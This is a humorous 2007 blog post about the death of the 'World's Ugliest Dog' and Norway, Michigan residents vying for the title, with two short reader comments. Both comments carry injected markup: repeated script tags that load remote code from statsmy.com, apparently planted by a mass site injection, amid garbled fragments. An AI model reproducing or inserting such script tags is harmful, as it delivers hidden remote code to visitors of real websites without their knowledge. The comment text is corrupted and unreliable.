Smooth Operator - World's Ugliest Dog Dies, Thousands Of Norway, Michigan Women Flock To Claim Title

Logon

World's Ugliest Dog Dies, Thousands Of Norway, Michigan Women Flock To Claim Title

by Mark on 2/28/2007 (2)

schnarlg!

NORWAY, MI - Sam, a highly mutated and blind Chinese Crested, passed away early Wednesday, leaving a mammoth ugly vacuum in Norway, Michigan unseen since the somewhat less-than-dazzling days of the Miss Piragi pageant in nearby Kalamazoo. Norway resident Anastasija Bronowkis explains.

"We have been waiting years for this! Janos, My Poodle-Pug mix, is sure winner now that Sam is gone. I really looking forward to bringing title to Norway! This is landmark event, to be sure!"

7th Ave. resident Sybilla Walinskas had other plans

"No way! Druca, My Dauschund-Labrador mix is shoe in for ugly dog crown now. He has got so much ugly on him he can sink his face in dough and make monster cookies! Bring this on!"

The Norway ugly dog competition also strangely coincides with the Brown street ladies swim suit contest, being held in the same Holiday Inn only a few doors down, and the Iron Mountain Latvian Easter Egg coloring bee just across the hall.tp:

page has been viewed 5710 times

1. by Kris on 3/1/2007 4:52:29 PM

Come on Mark, get your geography straight... Norway is no where near Kalamazoo. And the Easter Egg comp is on a totaly different floor!"0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by MOtz on 3/1/2007 4:52:29 PM

Tag, your it!isplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


Name
Comment
Verify	What animal is this a picture of? Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".

Surround you text with the following tags to use special formatting: [B][/B] for Bold text. [I][/I] for Italic text. [QUOTE][/QUOTE] for a quote. For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].